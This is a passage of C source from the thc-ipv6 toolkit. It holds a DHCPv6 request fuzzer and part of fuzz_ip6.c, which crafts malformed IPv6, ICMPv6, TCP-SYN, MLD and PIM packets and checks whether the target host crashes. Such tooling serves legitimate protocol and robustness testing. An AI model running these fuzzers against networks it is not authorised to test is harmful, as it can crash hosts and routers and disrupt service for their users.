0) { unsigned char *dst = thc_resolve6("ff02::1:2"); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ptr + 38, dst, 1, 0, 0, 0, 0)) == NULL) { fprintf(stderr, "Error: Couldn't create dhcp requests ipv6 header\n"); exit(-1); } if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, mybuf, mlen) < 0) { fprintf(stderr, "Error: Couldn't create dhcp requests udp header\n"); exit(-1); } if (thc_generate_pkt(interface, smac, ptr + 6, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Couldn't create dhcp requests ethernet header\n"); exit(-1); } if (fuzz_loop(pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Fuzzing request packet failed\n"); exit(-1); } else { got_packet = 1; // Used to suppress timeout error } pkt = thc_destroy_packet(pkt); } // Truncate the fuzz buffer back to it's original length fuzzbuf[66] = 0; // printf("Trunc fuzzbuf: %s\n", fuzzbuf); } int main(int argc, char *argv[]) { char mac[6] = {0, 0x0c, 0, 0, 0, 0}, *pkt = NULL; // defines mac as 6 pieces and defines pkt as null. char wdatabuf[1024]; // builds data buffer and sets memory size at 1024mb unsigned char *mac6 = mac, *src, *dst; // creates mac6 address usuing int i, s, len, pkt_len = 0, dlen = 0; int do_all = 1, use_real_mac = 1, use_real_link = 1; int state; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); // Parse options while ((i = getopt(argc, argv, "123456789mn:t:e:T:dFp:frw:")) >= 0) { switch (i) { case 'w': waittime = atoi(optarg); break; case '1': do_type = DO_SOL; break; case '2': do_type = DO_REQ; break; case '3': do_type = DO_CON; break; case '4': do_type = DO_REN; break; case '5': do_type = DO_REB; break; case '6': do_type = DO_REL; break; case '7': do_type = DO_DEC; break; case '8': do_type = DO_INF; break; case 'm': fuzz_msg_type = 1; break; case 'n': no_send = atoi(optarg); break; case 't': test_start = atoi(optarg); break; case 'e': test_end = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'F': use_real_link = 0; // no break case 'f': use_real_mac = 0; break; case 'p': ping = atoi(optarg); break; case 'd': do_dns = 1; break; case 'r': i = 0; break; // just to ignore -r default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } // Check options if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (test_end < test_start) { printf("don't fuck up the command line options!\n"); exit(-1); } memset(mac, 0, sizeof(mac)); interface = argv[optind]; dns_name = argv[optind + 1]; if (use_real_link) src = thc_get_own_ipv6(interface, NULL, PREFER_LINK); else src = thc_resolve6("fe80::"); if (use_real_mac) { mac6 = thc_get_own_mac(interface); memcpy(mac, mac6, sizeof(mac)); } dst = thc_resolve6("ff02::1:2"); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); // only to prevent our system to send icmp port unreachable messages if ((s = thc_bind_udp_port(546)) < 0) fprintf(stderr, "Warning: could not bind to 546/udp\n"); if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) { fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface); exit(-1); } // Establish state if (do_type == DO_SOL || do_type == DO_REB) state = STATELESS; else state = STATEFULL; // generate full fuzz mask for stateless types and partial for statefull types strcpy(fuzzbuf, fuzztype_ether); strcat(fuzzbuf, fuzztype_ip6); strcat(fuzzbuf, fuzztype_udp); if (fuzz_msg_type) strcat(fuzzbuf, fuzztype_dhcp6); else strcat(fuzzbuf, fuzztype_dhcp6no); if (state == STATELESS) { strcat(fuzzbuf, fuzztype_elapsed_time); strcat(fuzzbuf, fuzztype_client_identifier); strcat(fuzzbuf, fuzztype_IA_NA); strcat(fuzzbuf, fuzztype_prefixdele); strcat(fuzzbuf, fuzztype_reconfig); strcat(fuzzbuf, fuzztype_option_options); if (do_dns) strcat(fuzzbuf, fuzztype_FQDN); } /** Generate packet **/ len = sizeof(solicit); memcpy(wdatabuf, solicit, len); // printf("%d : %s\n", len, fuzzbuf); // Add dns option if (do_dns) { memcpy(wdatabuf + len, dnsupdate1, sizeof(dnsupdate1)); memcpy(dns_option_hdr + dns_option_hdr_len, dnsupdate1, sizeof(dnsupdate1)); dlen = len + 8; len += sizeof(dnsupdate1); dns_option_hdr_len += sizeof(dnsupdate1); // Append domain string prefix fuzz mask if (state == STATELESS) { //<-- Do fuzzbuffer later for (i = 0; i < 7; ++i) // 7 == Length of hard coded domain prefix strcat(fuzzbuf, "B"); } if (dns_name != NULL && strlen(dns_name) < 240) { if (dns_name[0] != '.') { wdatabuf[len] = '.'; wdatabuf[dlen - 5]++; wdatabuf[dlen - 3]++; len++; } memcpy(wdatabuf + len, dns_name, strlen(dns_name) + 1); memcpy(dns_option_hdr + dns_option_hdr_len, dns_name, strlen(dns_name) + 1); wdatabuf[dlen - 5] += strlen(dns_name) + 1; wdatabuf[dlen - 3] += strlen(dns_name) + 1; len += strlen(dns_name) + 1; dns_option_hdr_len += strlen(dns_name) + 1; // Append variable length domain string suffix fuzz mask if (state == STATELESS) { for (i = 0; i < strlen(dns_name) + 1; ++i) strcat(fuzzbuf, "B"); } } memcpy(wdatabuf + len, dnsupdate2, sizeof(dnsupdate2)); memcpy(dns_option_hdr + dns_option_hdr_len, dnsupdate2, sizeof(dnsupdate2)); len += sizeof(dnsupdate2); dns_option_hdr_len += sizeof(dnsupdate2); // Append option request (FQDN request) fuzz mask if (state == STATELESS) { strcat(fuzzbuf, fuzztype_option_request); } } // Set message type if (state == STATELESS) { switch (do_type) { case DO_SOL: wdatabuf[0] = 0x01; break; case DO_REB: wdatabuf[0] = 0x06; break; default: break; } } // random src mac if (!use_real_link) for (i = 0; i < 8; i++) src[i + 8] = rand() % 256; // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand for (i = 0; i < 3; i++) { wdatabuf[i + 1] = rand() % 256; wdatabuf[i + 18] = rand() % 256; wdatabuf[i + 32] = rand() % 256; if (!use_real_mac) { mac[i * 2] = rand() % 256; mac[i * 2 + 1] = rand() % 256; } if (do_dns) wdatabuf[i + dlen] = 'a' + rand() % 26; } memcpy(wdatabuf + 22, mac, 6); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 1, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_udp(pkt, &pkt_len, 546, 547, 0, wdatabuf, len) < 0) return -1; if (thc_generate_pkt(interface, mac6, NULL, pkt, &pkt_len) < 0) return -1; // Fuzz solicit packet if (state == STATELESS) { if (fuzz_loop(pkt, &pkt_len) < 0) return -1; } // Fuzz request, confirm or renew paket else if (state == STATEFULL) { // Send a dhcp solicit to discover dhcpv6 servers if (thc_send_pkt(interface, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Failed to send initial solicit packet\n"); return -1; } usleep(75); //<-- I don't really know why this is neccessary but it seems //to be // Construct and fuzz packets using server identifier got_packet = 0; time_t start_time = time(NULL); while (time(NULL) - start_time < timeout) { while (thc_pcap_check(p, (char *)construct_from_adv_and_fuzz, NULL) > 0) ; // got_packet set in callback function if (got_packet) break; } if (!got_packet) fprintf(stderr, "Timeout: Didn't receive solicited advertisement packet within " "timeout. Is server down?\n"); } pkt = thc_destroy_packet(pkt); // printf("fuzzbuf: %s\n", fuzzbuf); return 0; } thc-ipv6-3.8/fuzz_ip6.c000066400000000000000000001142341376121567700147700ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" /* * Fuzzing data types: * F = flags = 1 byte = 8 bits | flags | 8 ; 256 * B = byte = 1 byte | 0 1 254 255 xor XOR | 6 ; 256 * X = byte = 1 byte | all values from 0 to 255 * W = word = 2 bytes | 0,1,254,255^2 xor XOR | 18 ; 65536 * D = double word = 4 bytes | {0,1,254,255}^4 xor XOR | 258 ; 4294967295 * . = byte = ignore, jump over */ char fuzztype_ether[] = ".............."; char fuzztype_ip6[] = "XF..WXBXX..............XX.............."; char fuzztype_ip6no[] = "........................................"; char fuzztype_icmp6[] = "XX.."; char fuzztype_icmp6no[] = "...."; char fuzztype_icmp6ping[] = ""; char fuzztype_icmp6ra[] = "........XXWWWXXXX........XX.............XXXX....XXXXXBB..XX............." "XXXBB....XX.............XXXBB....X...X....XX.....X......XXXXXXXXX"; char fuzztype_icmp6ns[] = "XX..XX............XXXX"; char fuzztype_icmp6na[] = "FFFFXX............XXXX"; char fuzztype_icmp6nq[] = "FXFX........XX............XX"; char fuzztype_icmp6mld[] = "WWXXXX............XX"; char fuzztype_icmp6mld2rep[] = "WFFXFFF................................................XFFF..............." ".................................XFFF....................................." "..........."; char fuzztype_icmp6mld2que[] = "WWXXXX............XXFWFF"; char fuzztype_tcp[] = "WWWWWWXXWWWXXWXXXXXXWWWWXX"; char fuzztype_pim_hello[] = "X....X.X..WW...BXXXX.....X.XX....X.XXXBB.............B"; char fuzztype_pim_bootstrap[] = "X...XX..................XXXXX...............XXXXXX................XX"; char fuzztype_pim_assert[] = "X...XXXXX...............XX.X.............XX......."; unsigned char flags[] = {0, 1, 2, 4, 8, 16, 32, 64, 128, 254, 255}; // 11 unsigned char bytes[] = {0, 1, 254, 255}; // 4 unsigned short int words[] = {0x0000, 0x0001, 0x00fe, 0x00ff, 0x0100, 0x0101, 0x01fe, 0x01ff, 0xfe00, 0xfe01, 0xfefe, 0xfeff, 0xff00, 0xff01, 0xfffe, 0xffff}; // 16 unsigned int xors[] = {0, 0xffffffff}; // 2 unsigned char extends[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255}; // 256 unsigned int dwords[] = { 0x00000000, 0x00000001, 0x000000fe, 0x000000ff, 0x00000100, 0x00000101, 0x000001fe, 0x000001ff, 0x0000fe00, 0x0000fe01, 0x0000fefe, 0x0000feff, 0x0000ff00, 0x0000ff01, 0x0000fffe, 0x0000ffff, 0x00010000, 0x00010001, 0x000100fe, 0x000100ff, 0x00010100, 0x00010101, 0x000101fe, 0x000101ff, 0x0001fe00, 0x0001fe01, 0x0001fefe, 0x0001feff, 0x0001ff00, 0x0001ff01, 0x0001fffe, 0x0001ffff, 0x00fe0000, 0x00fe0001, 0x00fe00fe, 0x00fe00ff, 0x00fe0100, 0x00fe0101, 0x00fe01fe, 0x00fe01ff, 0x00fefe00, 0x00fefe01, 0x00fefefe, 0x00fefeff, 0x00feff00, 0x00feff01, 0x00fefffe, 0x00feffff, 0x00ff0000, 0x00ff0001, 0x00ff00fe, 0x00ff00ff, 0x00ff0100, 0x00ff0101, 0x00ff01fe, 0x00ff01ff, 0x00fffe00, 0x00fffe01, 0x00fffefe, 0x00fffeff, 0x00ffff00, 0x00ffff01, 0x00fffffe, 0x00ffffff, 0x01000000, 0x01000001, 0x010000fe, 0x010000ff, 0x01000100, 0x01000101, 0x010001fe, 0x010001ff, 0x0100fe00, 0x0100fe01, 0x0100fefe, 0x0100feff, 0x0100ff00, 0x0100ff01, 0x0100fffe, 0x0100ffff, 0x01010000, 0x01010001, 0x010100fe, 0x010100ff, 0x01010100, 0x01010101, 0x010101fe, 0x010101ff, 0x0101fe00, 0x0101fe01, 0x0101fefe, 0x0101feff, 0x0101ff00, 0x0101ff01, 0x0101fffe, 0x0101ffff, 0x01fe0000, 0x01fe0001, 0x01fe00fe, 0x01fe00ff, 0x01fe0100, 0x01fe0101, 0x01fe01fe, 0x01fe01ff, 0x01fefe00, 0x01fefe01, 0x01fefefe, 0x01fefeff, 0x01feff00, 0x01feff01, 0x01fefffe, 0x01feffff, 0x01ff0000, 0x01ff0001, 0x01ff00fe, 0x01ff00ff, 0x01ff0100, 0x01ff0101, 0x01ff01fe, 0x01ff01ff, 0x01fffe00, 0x01fffe01, 0x01fffefe, 0x01fffeff, 0x01ffff00, 0x01ffff01, 0x01fffffe, 0x01ffffff, 0xfe000000, 0xfe000001, 0xfe0000fe, 0xfe0000ff, 0xfe000100, 0xfe000101, 0xfe0001fe, 0xfe0001ff, 0xfe00fe00, 0xfe00fe01, 0xfe00fefe, 0xfe00feff, 0xfe00ff00, 0xfe00ff01, 0xfe00fffe, 0xfe00ffff, 0xfe010000, 0xfe010001, 0xfe0100fe, 0xfe0100ff, 0xfe010100, 0xfe010101, 0xfe0101fe, 0xfe0101ff, 0xfe01fe00, 0xfe01fe01, 0xfe01fefe, 0xfe01feff, 0xfe01ff00, 0xfe01ff01, 0xfe01fffe, 0xfe01ffff, 0xfefe0000, 0xfefe0001, 0xfefe00fe, 0xfefe00ff, 0xfefe0100, 0xfefe0101, 0xfefe01fe, 0xfefe01ff, 0xfefefe00, 0xfefefe01, 0xfefefefe, 0xfefefeff, 0xfefeff00, 0xfefeff01, 0xfefefffe, 0xfefeffff, 0xfeff0000, 0xfeff0001, 0xfeff00fe, 0xfeff00ff, 0xfeff0100, 0xfeff0101, 0xfeff01fe, 0xfeff01ff, 0xfefffe00, 0xfefffe01, 0xfefffefe, 0xfefffeff, 0xfeffff00, 0xfeffff01, 0xfefffffe, 0xfeffffff, 0xff000000, 0xff000001, 0xff0000fe, 0xff0000ff, 0xff000100, 0xff000101, 0xff0001fe, 0xff0001ff, 0xff00fe00, 0xff00fe01, 0xff00fefe, 0xff00feff, 0xff00ff00, 0xff00ff01, 0xff00fffe, 0xff00ffff, 0xff010000, 0xff010001, 0xff0100fe, 0xff0100ff, 0xff010100, 0xff010101, 0xff0101fe, 0xff0101ff, 0xff01fe00, 0xff01fe01, 0xff01fefe, 0xff01feff, 0xff01ff00, 0xff01ff01, 0xff01fffe, 0xff01ffff, 0xfffe0000, 0xfffe0001, 0xfffe00fe, 0xfffe00ff, 0xfffe0100, 0xfffe0101, 0xfffe01fe, 0xfffe01ff, 0xfffefe00, 0xfffefe01, 0xfffefefe, 0xfffefeff, 0xfffeff00, 0xfffeff01, 0xfffefffe, 0xfffeffff, 0xffff0000, 0xffff0001, 0xffff00fe, 0xffff00ff, 0xffff0100, 0xffff0101, 0xffff01fe, 0xffff01ff, 0xfffffe00, 0xfffffe01, 0xfffffefe, 0xfffffeff, 0xffffff00, 0xffffff01, 0xfffffffe, 0xffffffff}; // 256 #define arraysize(a) (sizeof(a) / sizeof(a[0])) #define COUNT_FLAG arraysize(flags) #define COUNT_BYTE arraysize(bytes) #define COUNT_WORD arraysize(words) #define COUNT_XOR arraysize(xors) #define COUNT_EXTEND arraysize(extends) #define NEVER 2000000000 #define TEST_MAX (NEVER - 1) #define DO_NONE 0 #define DO_PING 1 #define DO_NEIGHSOL 2 #define DO_NEIGHADV 3 #define DO_RA 4 #define DO_NODEQUERY 5 #define DO_TCP 6 #define DO_MLD_REP 131 #define DO_MLD_DONE 132 #define DO_MLD_QUERY 130 #define DO_MLD2_QUERY 256 #define DO_MLD2_REPORT 143 #define DO_PIM_HELLO 65536 #define DO_PIM_BOOTSTRAP 65540 #define DO_PIM_ASSERT 65541 int port = -1; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-x] [-t number | -T number] [-p number] [-IFSDHRJ] " "[-X|-1|-2|-3|-4|-5|-6|-7|-8|-9|-0 port|-P type] interface " "unicast-or-multicast-address [address-in-data-pkt]\n\n", prg); printf("Fuzzes an IPv6 packet with optional EHs and upper layer transport\n"); printf("Options:\n"); printf(" -X do not add any ICMP/TCP header (transport layer)\n"); printf(" -1 fuzz ICMP6 echo request (default)\n"); printf(" -2 fuzz ICMP6 neighbor solicitation\n"); printf(" -3 fuzz ICMP6 neighbor advertisement\n"); printf(" -4 fuzz ICMP6 router advertisement\n"); printf(" -5 fuzz multicast listener report packet\n"); printf(" -6 fuzz multicast listener done packet\n"); printf(" -7 fuzz multicast listener query packet\n"); printf(" -8 fuzz multicast listener v2 report packet\n"); printf(" -9 fuzz multicast listener v2 query packet\n"); printf(" -0 fuzz node query packet\n"); printf(" -s port fuzz TCP-SYN packet against port\n"); printf(" -P type fuzz PIMv2 type packet (hello, bootstrap, assert)\n"); printf(" -x tries all 256 values for flag and byte types\n"); printf(" -t number continue from test no. number\n"); printf(" -T number only performs test no. number\n"); printf( " -p number perform an alive check every number of tests (default: " "none)\n"); printf(" -a do not perform initial and final alive test\n"); printf(" -n number how many times to send each packet (default: 1)\n"); printf(" -I fuzz the IP header too\n"); printf(" -F add one-shot fragmentation, and fuzz it too (for 1)\n"); printf(" -S add source-routing, and fuzz it too (for 1)\n"); printf(" -D add destination header, and fuzz it too (for 1)\n"); printf( " -H add hop-by-hop header, and fuzz it too (for 1 and 5-9)\n"); printf( " -R add router alert header, and fuzz it too (for 5-9 and " "all)\n"); printf(" -J add jumbo packet header, and fuzz it too (for 1)\n"); // printf("Use -r to use raw mode.\n"); printf("You can only define one of -0 ... -9, -P and -s, defaults to -1.\n"); printf("Note that the -P fuzzing target should be ff02::d\n"); printf( "Returns -1 on error, 0 on tests done and targt alive or 1 on target " "crash.\n"); exit(-1); } void addfuzz(char **fuzzbuf, int *fuzzbuf_sz, char *fuzztype) { if (strlen(*fuzzbuf) + strlen(fuzztype) + 1 > *fuzzbuf_sz) { *fuzzbuf_sz *= 2; *fuzzbuf = realloc(*fuzzbuf, *fuzzbuf_sz); } strcat(*fuzzbuf, fuzztype); } void ignoreit(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { return; } int check_alive(pcap_t *p, char *interface, unsigned char *srcmac, unsigned char *dstmac, unsigned char *src, unsigned char *dst) { int ret = -2; time_t t; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_ping26(interface, srcmac, dstmac, src, dst, 16, 1); t = time(NULL); while (ret < 0) { if (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ret = 1; if (time(NULL) > t + 1 && ret == -2) { thc_ping26(interface, srcmac, dstmac, src, dst, 16, 1); ret = -1; } if (time(NULL) > t + 4 && ret < 0) ret = 0; } return ret > 0 ? 1 : 0; } int main(int argc, char *argv[]) { unsigned char *pkt = NULL, *pkt_bak, *mcast6, *someaddr6 = NULL; unsigned char *dst6, *src6 = NULL, *mac = NULL, *routers[2], string[64] = "ip6 and dst "; int test_start = 0, fragment = 0, alert = 0, sroute = 0; int do_type = DO_PING, do_alive = 1, hopbyhop = 0, destination = 0, jumbo = 0; int pkt_len = 0, offset = 0, test_current = 0, i, j, k, do_fuzz = 1, test_ptr = 0; int test_end = TEST_MAX, ping = NEVER, frag_offset = 0, header = 0, no_send = 1; int test_pos = 0, test_cnt = 0, do_it, extend = 0, mtu = 1500, size = 64, wait = 0, off2 = 14, fuzzbuf_sz = 256; char *interface, *fuzzbuf, *srcmac, *dns, *route6, *real_dst6 = NULL, *tmp6 = NULL; unsigned char buf[256], buf2[100], buf3[16]; unsigned short int *sip; pcap_t * p; thc_ipv6_hdr * hdr; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "s:0123456789Xxt:T:p:FSDHRIJan:P:")) >= 0) { switch (i) { case 's': do_type = DO_TCP; port = atoi(optarg); break; case '0': do_type = DO_NODEQUERY; break; case '1': do_type = DO_PING; break; case '2': do_type = DO_NEIGHSOL; break; case '3': do_type = DO_NEIGHADV; break; case '4': do_type = DO_RA; break; case '5': do_type = DO_MLD_REP; break; case '6': do_type = DO_MLD_DONE; break; case '7': do_type = DO_MLD_QUERY; wait = 0xff0000; break; case '8': do_type = DO_MLD2_REPORT; break; case '9': do_type = DO_MLD2_QUERY; wait = 0xff0000; break; case 'P': if (strncmp(optarg, "hel", 3) == 0) do_type = DO_PIM_HELLO; else if (strncmp(optarg, "ass", 3) == 0) do_type = DO_PIM_ASSERT; else if (strncmp(optarg, "boot", 4) == 0) do_type = DO_PIM_BOOTSTRAP; else { fprintf(stderr, "Error: PIM message type %s is not implemented yet\n", optarg); exit(-1); } break; case 'X': do_type = DO_NONE; break; case 't': test_start = atoi(optarg); break; case 'T': test_end = test_start = atoi(optarg); break; case 'p': ping = atoi(optarg); break; case 'a': do_alive = 0; break; case 'S': sroute = 1; break; case 'n': no_send = atoi(optarg); break; case 'F': fragment = 1; break; case 'R': alert = 1; break; case 'D': destination = 1; break; case 'H': hopbyhop = 1; break; case 'J': jumbo = 1; break; case 'I': header = 1; break; case 'x': extend = 1; break; } } if (argc - optind < 2) { fprintf(stderr, "ERROR: not enough options, interface and target address are " "required!\n"); exit(-1); } interface = argv[optind]; if ((srcmac = thc_get_own_mac(interface)) == NULL) { fprintf( stderr, "ERROR: %s is not a valid interface which has a MAC, use raw mode?\n", interface); exit(-1); } if (no_send < 1) { fprintf(stderr, "ERROR: -n number must be between one and 2 billion\n"); exit(-1); } if (do_hdr_size) { test_pos -= do_hdr_size; offset -= do_hdr_size; off2 = do_hdr_size; } if (do_type != DO_PING && do_type != DO_TCP && do_type != DO_NONE) { if ((mcast6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (do_type == DO_NEIGHSOL) { dst6 = thc_resolve6("ff02::0001:ff00:0000"); memcpy(dst6 + 13, mcast6 + 13, 3); } else dst6 = thc_resolve6("ff02::1"); if (do_type >= DO_PIM_HELLO && do_type <= DO_PIM_ASSERT) dst6 = thc_resolve6("ff02::d"); } else { dst6 = thc_resolve6(argv[optind + 1]); } if (argv[optind + 1] != NULL) if ((real_dst6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } if (interface == NULL || argv[optind + 1] == NULL) { printf( "Error: interface and target-ipv6-address are mandatory command line " "options\n"); exit(-1); } if (ping < 1 || test_end < test_start) { printf("don't fuck up the command line options!\n"); exit(-1); } if (argv[optind + 2] != NULL) someaddr6 = thc_resolve6(argv[optind + 2]); if (argc - optind > 3) { printf("Error: too many command line options\n"); exit(-1); } if ((mac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } if (do_type == DO_PING || do_type == DO_TCP || do_type == DO_NONE) src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else src6 = thc_get_own_ipv6(interface, dst6, PREFER_LINK); if (src6 == NULL) { fprintf(stderr, "Error: no IPv6 address configured on interface %s\n", interface); exit(-1); } strcat(string, thc_ipv62notation(src6)); if (sroute) { if (someaddr6 != NULL) routers[0] = someaddr6; else routers[0] = dst6; routers[1] = NULL; } setvbuf(stdout, NULL, _IONBF, 0); memset(buf, 0, sizeof(buf)); memset(buf2, 0, sizeof(buf2)); dns = thc_resolve6("ff02::fb"); route6 = thc_resolve6("2a01::"); if ((p = thc_pcap_init(interface, string)) == NULL) { fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string); exit(-1); } if (real_dst6 != NULL && (unsigned char)real_dst6[0] == 0xff) do_alive = 0; // ping before to check if it works if (do_alive) if (check_alive(p, interface, srcmac, mac, src6, real_dst6) == 0) { fprintf(stderr, "Error: target %s is not alive via direct ping6!\n", argv[optind + 1]); exit(-1); } // generate basic packet fuzzbuf = malloc(fuzzbuf_sz); fuzzbuf[0] = '\0'; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_ether); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 0, 0, 0, 0, 0)) == NULL) return -1; if (header) addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_ip6); else addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_ip6no); if (alert || hopbyhop || jumbo) { memset(buf2, 0, sizeof(buf2)); i = 0; addfuzz(&fuzzbuf, &fuzzbuf_sz, "XX"); // first two bytes of EH if (alert) { buf2[i++] = 5; buf2[i++] = 2; i += 2; addfuzz(&fuzzbuf, &fuzzbuf_sz, ".FW"); } if (jumbo) { buf2[i++] = 0xc2; buf2[i++] = 4; buf2[i++] = 'J'; // lookup code buf2[i++] = 'J'; buf2[i++] = 'J'; buf2[i++] = 'J'; addfuzz(&fuzzbuf, &fuzzbuf_sz, ".FWW"); } if (hopbyhop) { memset(buf3, 0, sizeof(buf3)); buf3[0] = 'X'; buf3[1] = '.'; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } // always: X..... for every new option addfuzz(&fuzzbuf, &fuzzbuf_sz, buf3); } } j = 8 - ((i + 2) % 8); if (j > 0 && j < 8) { for (k = 0; k < j; k++) addfuzz(&fuzzbuf, &fuzzbuf_sz, "."); // fill because of padding } if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } if (sroute) { if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; else { addfuzz(&fuzzbuf, &fuzzbuf_sz, "FFFFBBBB................"); offset += 24; } } if (fragment) { frag_offset = offset; if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 0, 0) < 0) return -1; else { addfuzz(&fuzzbuf, &fuzzbuf_sz, "FFWW.."); offset += 8; } } if (destination) { memset(buf2, 0, sizeof(buf2)); memset(buf3, 0, sizeof(buf3)); addfuzz(&fuzzbuf, &fuzzbuf_sz, "XX"); // first two bytes of EH buf3[0] = 'X'; buf3[1] = '.'; i = 0; for (j = 0; j < 10; j++) { buf2[i++] = 1; // PadN, length buf2[i++] = j; if (j > 0) { memset(buf2 + i, 0xaa, j); buf3[2 + j] = '.'; i += j; } // always: X... for every new option addfuzz(&fuzzbuf, &fuzzbuf_sz, buf3); } j = 8 - ((i + 2) % 8); if (j > 0 && j < 8) { for (k = 0; k < j; k++) addfuzz(&fuzzbuf, &fuzzbuf_sz, "."); // fill because of padding } if (thc_add_hdr_dst(pkt, &pkt_len, buf2, i) < 0) return -1; i += 2; if (i % 8 > 0) i = ((i / 8) + 1) * 8; offset += i; } memset(buf, 0, sizeof(buf)); // if (header) addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6); // else // addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6no); switch (do_type) { case DO_TCP: // tcp options buf[0] = 2; // max segment size buf[1] = 4; buf[2] = 255; buf[3] = 255; buf[4] = 3; // windows size buf[5] = 3; buf[6] = 62; buf[7] = 1; // padding buf[8] = 8; // timestamp buf[9] = 10; buf[10] = time(NULL) / 16777216; buf[11] = ((time(NULL) / 65536) % 256); buf[12] = ((time(NULL) / 256) % 256); buf[13] = time(NULL) % 256; // 4 bytes ack tstamp 00000000 // rest is padding (2 bytes) if (thc_add_tcp(pkt, &pkt_len, 65532, port, test_current, 0, TCP_SYN, 5760, 0, (unsigned char *)buf, 20, (unsigned char *)buf, 20) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_tcp); break; case DO_PING: if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, test_current, (unsigned char *)&buf, 16, 0) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_icmp6ping); break; case DO_PIM_HELLO: buf[1] = 1; // opt 1 buf[3] = 2; // len 2 buf[5] = 255; buf[7] = 19; // opt 19 buf[9] = 4; // len 4 buf[13] = 2; buf[15] = 20; // opt 20 buf[17] = 4; // len 4 // buf 18, 4 bytes: rand counter i = time(NULL); memcpy(buf + 18, (char *)&i + _TAKE4, 4); buf[23] = 2; // opt 2 buf[25] = 4; // len 4 memset(buf + 26, 0x01, 4); buf[31] = 24; // opt 24 buf[33] = 18; // len 18 buf[34] = 2; if (someaddr6 == NULL) tmp6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else tmp6 = someaddr6; memcpy(buf + 36, tmp6, 16); if (thc_add_pim(pkt, &pkt_len, do_type, buf, 52) < 0) return -1; addfuzz(&fuzzbuf, &fuzzbuf_sz, fuzztype_pim_hello); break; case DO_PIM_BOOTSTRAP: buf[0] = 5; buf[1] = 0x7d; buf[3] = 1; buf[4] = 2; if (someaddr6 == NULL) tmp6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL); else tmp6 = someaddr6; memcpy(buf 